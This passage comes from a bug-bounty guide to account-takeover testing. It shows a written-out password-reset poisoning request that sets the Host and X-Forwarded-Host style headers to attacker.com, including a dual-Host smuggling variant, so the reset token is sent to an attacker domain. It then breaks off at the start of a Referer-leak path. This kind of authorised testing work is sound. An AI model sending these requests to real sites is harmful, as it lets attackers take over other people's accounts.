hunt-ato

1## 13. ATO — ACCOUNT TAKEOVER TAXONOMY
2> 9 distinct paths. ATO is a destination class, not a single bug — each path below is a primitive that becomes Critical only when you demonstrate takeover of a SECOND account (test account B) you do not control, from attacker A's session/IP/device. A path that only locks you out of your own account, or only works when you already hold the victim's password AND session, is not a standalone ATO.
3 
4### Path 1: Password Reset Poisoning (Host-Header)
5```bash
6POST /forgot-password HTTP/1.1
7Host: attacker.com                 # primary Host swap
8# OR keep real Host and add one of:
9X-Forwarded-Host: attacker.com
10X-Host: attacker.com
11X-Forwarded-Server: attacker.com
12# OR dual-Host smuggling:  Host: target.com\r\nHost: attacker.com
13 
14email=victimB@company.com
15```
16The reset mailer builds the link from the request Host header → link points to `attacker.com/reset?token=XXXX`. **Confirmation = OOB, not response-based:** point the header at a Burp Collaborator / unique DNS name and read the actual email (use a controlled victim B inbox you own for the test). If the token only appears in the email body that lands at your Collaborator host, you have proof.
17**False-positive killer:** many apps put `attacker.com` in the email but the actual link domain is server-pinned — read the email, do not infer from the reflected header.
18 
19### Path 2: Reset Token in Referer / Open-Redirect Leak
20```
21GET /reset-password?token=ABC123
22…